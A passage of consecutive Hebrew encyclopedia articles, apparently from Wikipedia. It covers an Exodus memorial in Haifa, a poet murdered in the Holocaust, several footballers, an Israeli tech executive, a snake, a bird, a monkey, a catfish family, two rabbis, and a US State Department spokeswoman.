האנדרטה, שניצבת באולם הנוסעים של נמל חיפה, עוצבה על ידי המעצב האמריקאי סם פיליפ (Sam Philipe) והמימון להקמתה נתרם על ידי האגודה האמריקאית לשימור היסטוריה. בטקס חנוכת האנדרטה לקחו חלק גם נציגים מהשגרירות הנוצרית הבינלאומית ירושלים, יושב ראש הסוכנות היהודית, נתן שרנסקי, נציגי שגרירות ארצות הברית בישראל, שר הבינוי והשיכון, יואב גלנט כנציג הממשלה, שאמו פרומה נמנתה על הילדים שהפליגו באקסודוס ונכחה אף היא בטקס, שרון הראל בתו של יוסי הראל שהיה הקפטן של הספינה מעפילי האונייה ובני משפחותיהם. בנוסף הופיעו בטקס הפתיחה הזמרת שולי נתן בשיר "הו רב חובל" של נעמי שמר ובשיר ירושלים של זהב והזמרת הישראלית אמריקאית Noy.

האנדרטה מוצבת בכניסה לאולם הנוסעים בנמל חיפה, ומעוצבת בצורת מפת תבליט של ארץ ישראל בשילוב עם עוגן ולצידה מיצגים בשפות עברית, ערבית ואנגלית המספרים את סיפורה של האונייה. האנדרטה שצבעה חום כהה מונחת על גבי לוח שיש בצבעים לבן, קרם וורוד. מצד שמאל של האנדרטה על גבי השיש יש כתובת באנגלית באותיות מוזהבות . שמו של הפסל מופיע על צידה השמאלי של האנדרטה בחלקה התחתון.

## קישורים חיצוניים

* 
* יואב איתיאל, אחרי 70 שנה: נחנכה אנדרטה להנצחת ה"אקסודוס", רדיו חיפה, 18 ביולי 2017.

קטגוריה:נמל חיפה
קטגוריה:ההעפלה: מוזיאונים ואנדרטאות
קטגוריה:חיפה: אנדרטאות
קטגוריה:אקסודוס (אוניית מעפילים)
יחיאל רוזנצוויג

**יחיאל רוזנצוויג** (בפולנית: **Jechiel Rozencwajg**; ) היה מורה ומשורר עברי יהודי-פולני.

## תולדות חייו ויצירתו
יחיאל רוזנצוויג נולד בשנת בבלחטוב שבאימפריה הרוסית (כיום בפולין), לצבי, חזן בבית כנסת מקומי, ולמטל. יחיאל היה משורר עברי ידוע ברחבי פולין, ופרסם מספר יצירות בעיתון היהודי "הצפירה" ובעיתונים נוספים. בנוסף, יחיאל לימד מספר שנים בגימנסיה הדו לשונית לבנים בלודז' שפתח וניהל מרדכי ברוידא ב-1912. בשנת 1908, כאשר יחיאל היה בן 13, פרסם לראשונה את השיר "לא בהיכלי מלכים" תחת השם י. ענף שושן בעיתון "הצעיר" שהתפרסם בפולין.

יחיאל, אשתו הלה ובנו זאב נשלחו לגטו ורשה, שם התגוררו ברחוב נובוליפקי. יחיאל המשיך בפעילותו ללימוד השפה העברית גם בגטו. במהלך מרד גטו ורשה, יחיאל ומשפחתו הועברו למחנה ההשמדה טרבלינקה, שם נרצח בשנת 1943. 
יחיאל היה מיודד שנים רבות עם המשורר המפורסם יצחק קצנלסון והכיר אותו במסגרת החוגים הספרותיים בלודז' ובוורשה שבהם הרבה להשתתף.

## כתביו
* יחיאל רוזנצויג, ישראל פיבישיס, **לפי עוללים**, ועד ההורים של הגמנסיה לנערות מיסוד החברה לבתי ספר עבריים, 1936.
* יחיאל רוזנצויג, **שירי ילדים**, שפרירים, תרפ"א.

## לקריאה נוספת
* נורית גוברין, **קריאת הדורות - ספרות עברית במעגליה, כרך ב**', גוונים, 2002.
*אלחנן אינדלמן, **אודים, לקט דברי סופרים עברים, כרך א**', עוגן, תש"ך.
*יצחק קצנלסון, כתבים אחרונים - בגיטו ורשה ובמחנה ויטל, בית לוחמי הגיטאות, 1988.

## קישורים חיצוניים

* יחיאל רוזנצוייג, באתר זמרשת
*

קטגוריה:משוררים כותבי עברית
קטגוריה:אנשי חינוך שנספו בשואה
קטגוריה:סופרים ומשוררים שנספו בשואה
קטגוריה:אסירים בגטו ורשה
קטגוריה:נספים במחנה ההשמדה טרבלינקה
קטגוריה:יהודים בשואה: פולין
אמיליאנו ריגוני

**אמיליאנו אריאל ריגוני** (בספרדית: **Emiliano Ariel Rigoni**; נולד ב-4 בפברואר 1993) הוא כדורגלן ארגנטינאי, שמשחק בעמדת החלוץ בסאו פאולו מליגת העל הברזילאית.

## קריירה
### בלגראנו
ריגוני החל את הקריירה במועדון הנוער של בלגראנו. הוא עשה את הופעת הבכורה שלו בליגה ב-4 באוגוסט 2013, בניצחון קבוצתו נגד לאנוס.

### אינדפנדיינטה
בינואר 2016, הוא הצטרף לקבוצת אינדפנדיינטה והבקיע את שער הבכורה שלו, במשחק נגד קבוצתו הקודמת בלגרנו מליגת העל הארגנטינאית.

### זניט
באוגוסט 2017 חתם בקבוצת הכדורגל זניט סנקט פטרבורג מליגת העל הרוסית בכדורגל תמורת 9 מיליון יורו לתקופה של 4 שנים וקיבל את חולצה מספר 10 של המועדון, אשר נלבשה לפני כן על ידי דני מיגל אלבס, ששוחרר מהמועדון בחודש יוני 2017. את הופעת הבכורה שלו עשה במשחק הליגה במחזור התשיעי נגד דינמו מוסקבה במשחק שהסתיים בשוויון מאופס. את שער הבכורה הבקיע במסגרת משחקי הליגה האירופית בניצחון קבוצתו 5:0 על ורדאר סקופיה והבקיע את השלושער הראשון בקריירה שלו בניצחון קבוצתו 1–3 על רוזנבורג ויחד עם אלכסנדר קוקורין ניצב בראש טבלת מלכי השערים של הליגה האירופית.

בחלון ההעברות בינואר 2019 חזר לזניט וב-10 במרץ 2019 עלה בהרכב הפותח והבקיע לראשונה במדי זניט במסגרת משחק המחזור ה-19 של ליגת העל הרוסית בכדורגל נגד אופה, כשהבקיע בדקה ה-34 בניצחון קבוצתו 1–2.

בינואר 2020 חזר שוב לזניט. את שערו הראשון לאחר חזרתו הבקיע ב-4 במרץ 2020, במשחק הגביע הרוסי בכדורגל, נגד אחמט גרוזני בניצחון 1:2 שהצעיד את קבוצתו לחצי גמר הגביע, לראשונה מזה 4 שנים.

### אטלנטה
באוגוסט 2018 הושאל לעונה אחת תמורת מיליון יורו לאטאלנטה, מליגת העל האיטלקית, שיכולה לממש גם את אופציית רכישתו בתום העונה, תמורת 15 מיליון יורו. כבר במשחק הבכורה שלו בקבוצה, ב-27 באוגוסט 2018, במחזור השני של ליגת העל, הבקיע 2 שערים בשוויון 3:3 נגד רומא. ברם, בינואר 2019 הוחזר לזניט בשל חוסר בדקות.

### סמפדוריה
בספטמבר 2019 הושאל למשך עונה אחת לסמפדוריה, שתוכל לרכוש אותו בתום העונה תמורת 9 מיליון יורו. הוא ערך את הופעת הבכורה בהפסד קבוצתו לנאפולי 0–2 ב-14 בספטמבר 2019. ברם, הקבוצה התאכזבה מיכולותיו ובינואר 2020 החליטה שלא לרכוש אותו אלא להשיבו לקבוצת האם.
### אלצ'ה
באוקטובר 2020 עבר לאלצ'ה מהליגה הספרדית.
### סאו פאולו
במאי 2021 עבר לברזיל וחתם במועדון סאו פאולו מליגת העל הברזילאית.
### אוסטין
ביולי 2022 חתם באוסטין מליגת MLS, בכך הצטרף לסבסטיאן דריוסי שכבר משחק בה, לאחר שהשניים שיחקו יחד בזניט הרוסית.

## קישורים חיצוניים

## הערות שוליים

קטגוריה:חלוצי כדורגל ארגנטינאים
קטגוריה:כדורגלנים ארגנטינאים
קטגוריה:כדורגלני בלגראנו
קטגוריה:כדורגלני אינדפנדיינטה
קטגוריה:כדורגלני זניט סנקט פטרבורג
קטגוריה:כדורגלני אטאלנטה
קטגוריה:כדורגלני סמפדוריה
קטגוריה:כדורגלני אלצ'ה
קטגוריה:כדורגלני סאו פאולו
קטגוריה:כדורגלני אוסטין
קטגוריה:כדורגלני לאון
קטגוריה:כדורגלני נבחרת ארגנטינה
קטגוריה:ארגנטינאים שנולדו ב-1993
יעל וילה

**יעל וילה** (נולדה ב-23 בספטמבר 1961) היא מנהלת, יזמת וחוקרת ישראלית. שימשה כסגנית נשיא בסיסקו העולמית ומנהלת מרכז המחקר והפיתוח של החברה בירושלים עד יולי 2018. וילה עומדת בראש תוכנית פיספס - מאגר מידע גנטי לקידום הרפואה המותאמת אישית בישראל.

## ביוגרפיה

יעל וילה נולדה בבואנוס איירס, שבארגנטינה. עלתה לישראל לקראת סוף שנות ה-70 של המאה ה-20.

בעלת שלושה תארים מאוניברסיטת תל אביב: תואר ראשון בסטטיסטיקה ומדעי המחשב, תואר שני בסטטיסטיקה יישומית ודוקטורט בסטטיסטיקה (סיימה בשנת 1997).
 מילאה מגוון תפקידים אקדמיים בבית הספר למתמטיקה באוניברסיטת תל אביב ובמכללה האקדמית תל אביב-יפו, בה היא ממשיכה לשמש כמרצה בכירה. 
מחקרים רבים שכתבה פורסמו בכתבי עת אקדמיים. עם תחומי ההתמחות שלה נמנים: אבטחת מידע וסייבר, הונאה פיננסית, בריאות דיגיטלית, ביג דאטה ומדע נתונים.

בין השנים 1999–2003 שימשה כסמנכ"לית מחקר בחברת הסטארט-אפ סלברוס (Celebros) ובין השנים 2004–2007 בתפקיד זהה בחברת הסטארט-אפ טקסטולוג'י (Textology).
 בשנת 2007 החלה לעבוד ב-RSA ישראל כמנהלת צוות ניתוח סיכוני הונאה. לאחר מכן מונתה לתפקיד מנהלת הטכנולוגיה (CTO) ובשנת 2013 מונתה, בנוסף לתפקיד זה, למנכ"לית החברה. בשנת 2014 מונתה למנכ"לית ולמנהלת הטכנולוגיה של מרכז המצוינות של EMC בישראל. בין השנים 2015 ל-2018 שימשה כסגנית נשיא בסיסקו העולמית ומנהלת מרכז המחקר והפיתוח בירושלים. החל משנת 2019 וילה מונתה כמנכ"לית פיספס - מאגר מידע גנטי שהוקם על ידי רשות החדשנות ומשרד הבריאות.

וילה משמשת כחברת דירקטוריון במספר חברות.

וילה פרודה ואם לארבעה ילדים. מתגוררת בתל אביב.

## הוקרה
* 2011 - הוכרה על ידי EMC כ"מהנדסת יוצאת מן הכלל" (Distinguished Engineer)
* 2016 - נבחרה בין 50 הנשים המשפיעות בישראל על ידי גלובס
* 2016 - הייתה מועמדת לפרס "נשים בחזית" בקטגוריית עסקים וניהול של אתר סלונה

## קישורים חיצוניים

* הפרופיל של ד"ר יעל וילה, באתר לינקדאין 
* עמי רוחקס דומבה, העתיד טמון בלימוד מכונה, באתר ישראל דיפנס, 25 בפברואר 2014
* מאיר עשת, סיסקו בונה בירושלים את פלטפורמת ההגנה על ספקי תכנים בתשלום, באתר itnews, דצמבר 2015
* הרצאתה של ד"ר יעל וילה - פרספקטיבה של מנכ"ל, בפני פורום סמנכ"לי אנוש באוניברסיטת תל אביב, 28 בנובמבר 2016
* 

## הערות שוליים

קטגוריה:דירקטוריות ישראליות
קטגוריה:דירקטורים ישראלים
קטגוריה:מדעניות ישראליות
קטגוריה:מדענים ישראלים
קטגוריה:מנכ"ליות ישראליות
קטגוריה:מנכ"לים ישראלים
קטגוריה:עולות בשנות ה-1970
קטגוריה:עולים בשנות ה-1970
קטגוריה:יזמות היי-טק ישראליות
קטגוריה:יזמי היי-טק ישראלים
קטגוריה:יזמות ישראליות
קטגוריה:יזמים ישראלים
קטגוריה:תל אביב-יפו: אישים
קטגוריה:בעלות תואר דוקטור מאוניברסיטת תל אביב
קטגוריה:בעלי תואר דוקטור מאוניברסיטת תל אביב
קטגוריה:סגל המכללה האקדמית תל אביב-יפו
קטגוריה:סגל אוניברסיטת תל אביב: מתמטיקה ומדעי המחשב
קטגוריה:עובדות חברות אמריקאיות
קטגוריה:עובדי חברות אמריקאיות
קטגוריה:ישראליות זוכות פרסים: מדע וטכנולוגיה
קטגוריה:ישראליות ילידות ארגנטינה
קטגוריה:ישראלים ילידי ארגנטינה
קטגוריה:ערכים שנערכו במסגרת מיזם ויקי נשים
קטגוריה:ישראליות שנולדו ב-1961
קטגוריה:ישראלים שנולדו ב-1961
סרגיי גראסימץ

**סרגיי גריגורייביץ' גראסימץ** (בבלארוסית: **Сярге́й Герасіме́ц**; ברוסית: **Серге́й Григо́рьевич Герасиме́ц**; 13 באוקטובר 1965 – 26 בספטמבר 2021) היה כדורגלן סובייטי ובלארוסי ממוצא אוקראיני, ששיחק בעמדת החלוץ והיה מאמן כדורגל.

## קריירת משחק
סרגיי נולד בקייב, אוקראינה הסובייטית, ברית המועצות. התחנך בבית הספר לכדורגל של דינמו מינסק והחל לשחק בקבוצה הבוגרת של דינמו בהדרכתו של ולרי לובנובסקי, אך היה לשחקן מרכזי תחת המאמן יורי מורוזוב ושיחק בהמשך בקבוצת המילואים של אירפן.

ב-1986 עבר לשחטאר דונצק אך לא הסתדר עם המאמן אנטולי קוקוס ועזב כעבור זמן קצר וחתם בקבוצה מהליגה הבלארוסית השנייה בשם "גוריה". הוא קיבל הצעה מקבוצת מינסק ועבר אליה כעבור זמן קצר.

ב-1993 עבר לישראל ושיחק בשורות בני יהודה תל אביב במשך 3 עונות. הופעת הבכורה שלו בקבוצה הייתה במשחק נגד הפועל תל אביב שנערך ב-30 באוקטובר, במסגרתו בני יהודה גברה על יריבתה בתוצאה 0–4, עד מכרה התברג כאחד משחקני הקבוצה המרכזיים.

הוא חזר לרוסיה ושיחק בקבוצות בלטיקה קלינינגרד (1997), בזניט סנקט פטרבורג (1997–1999), קובנה (1999), בדינמו סנקט פטרבורג (2000) ובקבוצת טורפדו מינסק (2001–2002), בה שיחק עד לפרישתו ממשחק פעיל.

### נבחרת לאומית
לאחר התפרקות ברית המועצות זומן לנבחרת  ובהדרכת המאמן מיכאיל ורגיינקו הופיע במשחקי הנבחרת 25 פעם והבקיע 7 שערים.

## קריירת אימון
גראסימץ פצח בקריירת אימון כשהחל להדריך את קבוצת הכדורגל סברסטאל צ'רפובץ בשנת 2004 ולאחר מכן אימן בקזחסטן את אוקז'טפס קוקשטאו וסייע לאנטולי בישובץ, כשהלה אימן בטום טומסק בעונת 2006 ובלוקומוטיב מוסקבה (בעונת 2007).

בסתיו 2008 חתם בצוות האימון של דינמו סנקט פטרבורג וסייע לאדוארד מאלפייב, עד 2009.

בשנת 2010 קיבל את רישיון ה-Pro שלו באימון לאחר שסיים לימודיו במוסקבה ואימן מספר קבוצות כדורגל חובבניות במחוז לנינגרד כקבוצת אוטרדנויה ופיטר. במרץ 2014 מונה למאמן קבוצת הנוער של טוסנו מהליגה הרוסית השנייה ובעונת 2016 אימן את קבוצת יוניור סנקט פטרבורג.

בקיץ 2017 עזב את מחוז לנינגרד וחתם בקבוצת אנז'י-יוניור ממחצ'קלה, מהליגה הרוסית השנייה. בשנת 2020 חתם בקבוצת יאדרו סנקט פטרבורג מהליגה הפטרבורגית.

## חייו האישיים
בנו, סרגיי סרגייביץ' גראסימץ משחק עבור ורס רינה, מהליגה האוקראינית הראשונה (נכון לשנת 2017).

בספטמבר 2021 הלך לעולמו במפתיע, בגיל 55.

## קישורים חיצוניים

* סטטיסטיקה באתר zenit-history.ru

## הערות שוליים

קטגוריה:כדורגלנים סובייטים
קטגוריה:כדורגלנים בלארוסים
קטגוריה:חלוצי כדורגל סובייטים
קטגוריה:חלוצי כדורגל בלארוסים
קטגוריה:קייב: כדורגלנים
קטגוריה:כדורגלני בלטיקה קלינינגרד
קטגוריה:כדורגלני בני יהודה תל אביב
קטגוריה:כדורגלני דינמו קייב
קטגוריה:כדורגלני דינמו מינסק
קטגוריה:כדורגלני זניט סנקט פטרבורג
קטגוריה:כדורגלני קובנה
קטגוריה:כדורגלני שחטאר דונצק
קטגוריה:כדורגלני נבחרת בלארוס
קטגוריה:כדורגלנים זרים בישראל
קטגוריה:ספורטאים בלארוסים בישראל
קטגוריה:ספורטאים בלארוסים ברוסיה
קטגוריה:ספורטאים זרים בליטא
קטגוריה:מאמני כדורגל בלארוסים
קטגוריה:זוכי פרס כדורגלן השנה בבלארוס
קטגוריה:סובייטים שנולדו ב-1965
קטגוריה:רוסים שנפטרו ב-2021
נחש בירית מצוי

**נחש בירית מצוי** (*Thamnophis sirtalis*) הוא מין של נחש מתת-משפחת נחשי מים שבמשפחה הזעמניים אשר מצוי באמריקה הצפונית.

אורכו של הנחש 55 ס"מ בממוצע ויכול להגיע לאורך 1.2 מטר. משקלו מגיע ל-150 גרם. הנחש בעל קווים לאורך הגוף וצבעו צהוב-חום והראש מעט כהה. לסת הנחש גדולה ועוזרת לו לבלוע טרף גדול. הנחש שחיין טוב ויכול לטפס ולנוע במהירות.

הנחש חי ברחבי אמריקה הצפונית במקוון בתי גידול הכוללים יערות, שיחים, ערבות, שדות, מקווי מים שונים, ביצות ואגמים. חלק מהנחשים חיים סמוך לאזור הארקטי ונחים יחדיו בין סלעים בשינת חורף. הם מתקבצים יחדיו ומשמרים את חום גופם אחד בין השני.

הנחש הוא טורף הניזון מסרטני מים, דוחיים, זוחלים אחרים עופות ויונקים. הוא תופס את הטרף עם הלסתות ובולע אותו.

## מיון
מין זה כולל, נכון למאי 2025, 12 תת-מינים.
* סוג נחש בירית (*Thamnophis*)
** מין **נחש בירית מצוי** (*Thamnophis sirtalis*)
*** תת-מין *Thamnophis sirtalis annectens*
*** תת-מין *Thamnophis sirtalis concinnus*
*** תת-מין *Thamnophis sirtalis dorsalis*
*** תת-מין *Thamnophis sirtalis fitchi*
*** תת-מין *Thamnophis sirtalis infernalis*
*** תת-מין *Thamnophis sirtalis pallidulus*
*** תת-מין *Thamnophis sirtalis parietalis*
*** תת-מין *Thamnophis sirtalis pickeringii*
*** תת-מין *Thamnophis sirtalis semifasciatus*
*** תת-מין *Thamnophis sirtalis similis*
*** תת-מין *Thamnophis sirtalis sirtalis*
*** תת-מין *Thamnophis sirtalis tetrataenia*

## קישורים חיצוניים

## הערות שוליים

קטגוריה:ערכים שבהם תבנית בריטניקה אינה מתאימה
קטגוריה:טקסונים שתוארו בידי קארולוס לינאוס
קטגוריה:נחשי מים
קטגוריה:קנדה: זוחלים
קטגוריה:ארצות הברית: זוחלים
קטגוריה:בעלי חיים רעילים
קטגוריה:נחשים תת-ארסיים
קטגוריה:בעלי חיים שתוארו ב-1758
פזאי אדום-כנף

**פזאי אדום-כנף** (שם מדעי: *Agelaius phoeniceus*) הוא מין של עוף ממשפחת הפזאיים המצוי באמריקה הצפונית ובכמה מקומות באמריקה המרכזית.
## מאפיינים
אורכו של נקבות הפזאי 17–18 ס"מ ומשקלן עד 41 גרם. אורך הזכרים 22–24 ס"מ ומשקלם עד 64 גרם. הם בעלי נוצות גוף שחורות עם כנפיים בעלי כתם קדמי באדום ובתוכו כתם צהוב והמקורים חרוטיים ולבנים. הנקבות אפורות ומזכירות במראן נקבות של דרורים.

הפזאיים מעופפים בלהקות ברחבי הערבות של אמריקה מאלסקה בצפון לחצי האי יוקטן בדרום. הם מחפשים זרעי חיטים ודגנים ועוד זרעים ויכולים לכלות בלהקות גדולות כמויות של זרעים. הם גם אוכלי כל הניזונים ממגוון חרקים, רכיכות, עכבישים, ביצי עופות וחולייתנים קטנים.

רבים מהפזאים נודדים דרומה בחורפים הקשים.

## קישורים חיצוניים

## הערות שוליים

מרכז|250px|ממוזער|פזאי בפלורידה

קטגוריה:ערכים שבהם תבנית בריטניקה אינה מתאימה
קטגוריה:טקסונים שתוארו בידי קארולוס לינאוס
קטגוריה:פזאיים
קטגוריה:בעלי חיים שתוארו ב-1766
קטגוריה:עופות המישורים הגדולים
קטגוריה:קנדה: עופות
קפוצ'ין מצויץ

**קפוצ'ין מצויץ** (שם מדעי: *Sapajus apella*) הוא מין קוף מסוג קפוצ'ין כהה מאמריקה המרכזית ואמריקה הדרומית.

## מאפיינים
אורכו של הקפוצ'ין 32–57 סנטימטרים ומשקלו 1.9–4.7 קילוגרם. הוא בעל גוף כתום-חום עם "כיפה" שחורה ופנים ורודות ונקיות יחסית משיער. הגפיים שחורות והזנב גדול ויכול להיתפס בענפים.

קופים אלה חיים בין יערות הגשם של האמזונאס באמריקה הדרומית. הם אוכלי כל הניזונים בעיקר מפירות וכן מחרקים, זחלים, ביצי ציפורים, דו-חיים וזחלים קטנים ואפילו עטלפים.

קופים אלה פעילים ביום בקבוצות קטנות של בין 5 ל-15 פרטים ובראשן זכר אלפא. הזכר יתקוף כל זכר מסיג גבול.

## תת-מינים
* *Sapajus apella apella *
* *Sapajus apella fatuellus*
* *Sapajus apella macrocephalus* - ייתכן ששייך למין עצמאי
* *Sapajus apella margaritae *
* *Sapajus apella peruanus *
* *Sapajus apella tocantinus *

## קישורים חיצוניים

קטגוריה:ערכים שבהם תבנית בריטניקה אינה מתאימה
קטגוריה:בעלי חיים שתוארו ב-1758
קטגוריה:טקסונים שתוארו בידי קארולוס לינאוס
קטגוריה:צבוסיים
קטגוריה:ונצואלה: יונקים
קטגוריה:ברזיל: יונקים
שפמיתיים

**שפמיתיים** (שם מדעי: Plotosidae) היא משפחה של דגים מסדרת השפמנונאים. שפמנונים אלה נראים כמו צלופחים אך בעלי שפמות ופיות גדולים, מהם קיבלו את שמם.

## מאפיינים
בניגוד לרוב השפמנונים, דגים אלה חיים בים ובמים מלוחים מהאוקיינוס ההודי עד לאוקיינוס השקט באוסטרליה, פיג'י ויפן.

אורכם נע בין 8.5 ס"מ עד 1.5 מטר. הם בעלי גוף בעל פסים אופקיים בצבע שחור ולבן והעיניים קטנות. דגים אלה נעים בחבורות ואוכלים פלנקטון. בלילות הם ישנים במחילות בסלעי הים.

חלק ממינים אלה ארסיים וצבעיהם הבוהקים עוזרים להזהיר את הטורפים מהם.

## מיון
*משפחה **שפמיתיים** (Plotosidae)
**סוג ומין יחיד *Anodontiglanis dahli*
**סוג ומין יחיד קנידוגלניס מקרוצפלוס (*Cnidoglanis macrocephalus*)
**סוג *Euristhmus*
**סוג ומין יחיד *Neosiluroides cooperensis*
**סוג *Neosilurus*
**סוג *Oloplotosus*
**סוג *Paraplotosus*
**סוג *Plotosus* - בו שפמית ארסית
**סוג *Porochilus*
**סוג *Tandanus*

## קישורים חיצוניים

*
קטגוריה:ערכים שבהם תבנית בריטניקה אינה מתאימה
קטגוריה:בעלי חיים שתוארו ב-1858
קטגוריה:טקסונים שתוארו בידי פיטר בליקר
מנחם מנדל אוירבך

הרב **מנחם מנדל אוירבך** (ה'ש"ף, 1620 - כ' בתמוז ה'תמ"ט, 8 ביולי 1689) היה רב ודיין בווינה מחבר ספר עטרת זקנים על שולחן ערוך.

## ביוגרפיה
נולד בווינה לרב משולם זלמן פישהוף-אוירבך בן רבי שמעון אוירבך, פוסק הלכה, רב ודיין (וחותן הרב חיים בנו של הרב יצחק זליג קרא המיוחס בשושלת רבנים וביניהם רבי יוסף קארו עד לדוד המלך). היה תלמידו של רבי יהושע חריף בעל "מגיני שלמה" ו"שו"ת פני יהושע", וכן למד בישיבת קראקוב אצל הרב יואל סירקיש, בעל "בית חדש". אחר כך נתמנה דיין שם, ושימש ברבנות בקהילות נוספות, ביניהן קרוטושין, עד שנתמנה דיין בקהילת וינה.

חיבר את הספר "עטרת זקנים", תוספת דינים והגהות על כל ארבעת חלקי "שולחן ערוך" הלקוחים מתוך ספרי הראשונים והאחרונים. החיבור המודפס הוא רק לקט ממה שכתב המחבר, במרבית המהדורות הגדולות נדפס מחיבורו חלק אורח חיים בלבד.

נפטר בכ' בתמוז ה'תמ"ט, 1689.

בנו רבי משה נשא את בתו של רבי שאול בן רבי העשיל.

## הערות שוליים

2017 07
קטגוריה:רבנים אוסטרים
קטגוריה:רבנים אשכנזים
קטגוריה:נושאי כלים של שולחן ערוך
קטגוריה:מחברי ספרי הלכה: ראשוני האחרונים
קטגוריה:ראשוני האחרונים
קטגוריה:וינה: רבנים
קטגוריה:ילידי 1620
קטגוריה:נפטרים ב-1689
צבי וינמן

[ממוזער|הרב וינמן מתייעץ עם [יוסף שלום אלישיב|הרב אלישיב בהכנת כתובה]]
הרב **צבי וינמן** (1940 – 16 במרץ 2015) היה טוען רבני, רב, היסטוריון, שמאי ועסקן חרדי. מזכ"ל ארגון יד לאחים.

## ביוגרפיה

נולד ב-1940 בארץ ישראל לאפרים מטרנוב פולין וציפורה מגרמניה. מצאצאי רבי לוי יצחק מברדיטשוב. למד בישיבות היישוב החדש וכנסת חזקיהו, ב-1966 קיבל רישיון טוען רבני עם חתימת הרב יוסף שלום אלישיב, ושימש כנציגו של הרב כטוען רבני בדיונים נודעים בהם פרשת האח והאחות.

רבה של גרמניה המזרחית, שליחה ונציגה במגעים עם ממשלת בריטניה. היה גם מעורב בתהליכי משא ומתן שונים וחשאיים, בין היתר בשליחות המוסד הישראלי. ידוע בין היתר כי היה מיודד עם ראש מינהל הביון הגרמני מרקוס וולף עמו פעל בשיתופי פעולה שונים והיה מראשי המעורבים בפרשות קרב סולטאן יעקוב וחטיפת רון ארד. היה חבר בוועדת צמרת באוגוסט 1996, ועדה שחבריה התבקשו לגבש אמנה חברתית להסדרת היחסים בין דתיים לחילונים, וכן להציע הסדרים עקרוניים לסגירת כבישים בישראל מסיבות דתיות ולא דתיות.

התגורר בשכונת סנהדריה המורחבת בירושלים. נפטר ב-16 במרץ 2015.

## מספריו
* **מקטוביץ' עד ה' באייר** ספר היסטוריה ותחקירים על תולדות היהדות החרדית ואגודת ישראל
* **דעת תורה ו[[אמונת חכמים]]** : אהבת ארץ ישראל האמיתית - פרקים בעליה לארץ ישראל לדורותיה. פעילות בין-לאומיות של אגו"י [אגודת ישראל] במאה העשרים : עיונים, מקורות ומסמכים בתולדות היהדות החרדית - הוצאת ותיקין, ה'תשס"ז
* **ודע מה שתשיב** : עיונים, מקורות ומסמכים / צבי וינמן. יהדות התורה והמדינה / מאת א. גיטלין. ה'תשס"א

## לקריאה נוספת
* משפחה, ז' בטבת ה'תשע"ה, עמ' 18–28

## קישורים חיצוניים
* 
* מקטוביץ' עד ה' באייר
* 
* 

## הערות שוליים

קטגוריה:טוענים רבניים
קטגוריה:המוסד
קטגוריה:שמאים ישראלים
קטגוריה:רבנים גרמנים
קטגוריה:סנהדריה המורחבת: אישים
קטגוריה:יהודים הקבורים בהר המנוחות
קטגוריה:ישראלים שנולדו ב-1940
קטגוריה:ישראלים שנפטרו ב-2015
הת'ר נאוארט

**הת'ר נאוארט** (באנגלית: **Heather Nauert**; נולדה ב-27 בינואר 1970) היא דיפלומטית אמריקאית שכיהנה כדוברת מחלקת המדינה של ארצות הברית החל מחודש אפריל 2017 ועד אפריל 2019. החל מ-13 במרץ 2018 ועד אוקטובר 2018 שימשה בנוסף כתת-מזכירת המדינה בפועל לדיפלומטיה ציבורית וענייני ציבור. בעבר שימשה כמנחה בתוכניות האירוח היומיות Fox & Friends ו-Fox & Friends First בערוץ פוקס ניוז. קודם לכן שימשה ככתבת בערוץ ABC News.

## ביוגרפיה
נאוארט גדלה ברוקפורד, אילינוי. אביה, פטר נאוארט היה מנהל בתעשיית הביטוח. יש לה שלושה אחים. היא בוגרת תואר ראשון בתקשורת מ-Mount Vernon Seminary and College ותואר שני בעיתונאות מאוניברסיטת קולומביה.

## קריירה
### עיתונאות
בשנת 1996, נאוארט הייתה כתבת בתוכנית העסקים השבועית *First Business*. בין השנים 1998–2005 עבדה ככתבת בערוץ הטלוויזיה פוקס ניוז. תחילה כפרשנית במשך 3 שנים, ולאחר מכן ככתבת במשך 4 שנים.

בין השנים 2005–2007 עבדה במגוון גופי חדשות שונים, ביניהם חדשות ABC ככתבת משימה כללית. בזמן שעבדה ב-ABC, היא קיבלה מועמדות לפרס אמי על עבודתה בסדרת הספיישל "*13 Around the World*".

ב-2007 חזרה לרשת פוקס ניוז והנחתה יחד עם ג'ון גיבסון את מהדורת סוף השבוע של התוכנית "*The Big Story*".

נאוארט עבדה כיועצת לענייני ממשל במגוון נושאים, בהם ביטוח בריאות, ביטוח לאומי ומיסים, ובנוסף שימשה כחברה בארגון "Council on Foreign Relations"

### משרד החוץ של ארצות הברית
[ממוזער|נאוארט ב[בית הלבן, 25 ביולי 2017]]
ב-27 באפריל 2017, מחלקת המדינה של ארצות הברית הודיעה כי נאוארט תהיה דוברת מחלקת המדינה החדשה, זהו תפקידה הראשון בממשלה.
לאחר פיטוריו של הדיפלומט סטיב גולשטיין ב-13 במרץ 2018, נאוארט מונתה לתפקיד תת-מזכירת המדינה לדיפלומטיה ועניינים ציבוריים.

כאשר ארצות הברית עזבה את אונסק"ו, הניו יורק טיימס ציטטו את דבריה כשאמרה: "
[ממוזער|נאוארט משוחוחת עם [מייק פומפאו, סינגפור, 12 ביוני 2018]]
באפריל 2018, נאוארט הביעה תמיכה בהתערבות בהובלת ערב הסעודית בתימן. היא גינתה את "השפעתה החמורה של איראן" בתימן. במאי 2018 אמרה נאוארט בתגובה להפגנות הגבול בעזה: 

### מחלקת המדינה
באפריל 2017, מחלקת המדינה של ארצות הברית הכריזה כי נאוארט תשמש כדוברת החדשה של המחלקה. היא ערכה תדריך ראשון לעיתונאים ב-6 ביוני.

בדצמבר 2018 הודיע נשיא ארצות הברית דונלד טראמפ כי בחר בנאוארט לתפקיד שגרירת ארצות הברית באו"ם. אולם בפברואר 2019 הודיעה כי היא מסירה את מועמדותה.

## חיים אישיים
נאוארט נשואה לסקוט נורבי, בנקאי השקעות העובד בגולדמן זקס. הם הורים לשני בנים.

## קישורים חיצוניים

* הת'ר נאוארט, באתר מחלקת המדינה של ארצות הברית
* 

## ביאורים

## הערות שוליים

קטגוריה:סגל מחלקת המדינה של ארצות הברית
קטגוריה:דוברי מחלקת המדינה של ארצות הברית
קטגוריה:דוברים אמריקאים
קטגוריה:נשיאות דונלד טראמפ הראשונה: אישים
קטגוריה:אמריקאיות שנולדו ב-1970
קטגוריה:אמריקאים שנולדו ב-1970
חרמן קונטי

**חֵרמן אנדרס קונטי** (; נולד ב-3 ביוני 1994 בסנטה פה) הוא כדורגלן ארגנטינאי המשחק בעמדת הבלם בחימנסיה לה פלאטה מליגת העל הארגנטינאית.

## קריירת משחק
